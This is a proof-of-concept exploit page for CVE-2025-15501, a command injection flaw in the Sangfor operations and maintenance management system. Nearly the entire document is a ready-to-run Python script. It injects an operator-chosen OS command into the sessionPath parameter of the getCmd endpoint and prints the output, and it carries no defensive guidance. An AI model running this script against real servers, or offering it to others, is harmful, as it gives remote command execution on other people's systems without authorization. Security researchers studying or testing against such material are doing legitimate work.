CVE-2025-15501: Sangfor运维管理系统 getCmd 命令注入漏洞

import requests import sys # CVE-2025-15501 PoC - Sangfor O&M System Command Injection # Target: Sangfor Operation and Maintenance Management System <= 3.0.8 # Endpoint: /isomp-protocol/protocol/getCmd # Vulnerability: OS Command Injection via sessionPath parameter def exploit(target_url, cmd="whoami"): """Execute command on vulnerable Sangfor server""" endpoint = "/isomp-protocol/protocol/getCmd" url = target_url.rstrip('/') + endpoint # Malicious payload with command injection payload = f";{cmd};#" params = { "sessionPath": payload } try: print(f"[*] Targeting: {target_url}") print(f"[*] Executing command: {cmd}") response = requests.get(url, params=params, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response:\n{response.text}") return response.text except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [command]") print(f"Example: python {sys.argv[0]} http://target.com whoami") sys.exit(1) target = sys.argv[1] command = sys.argv[2] if len(sys.argv) > 2 else "whoami" exploit(target, command)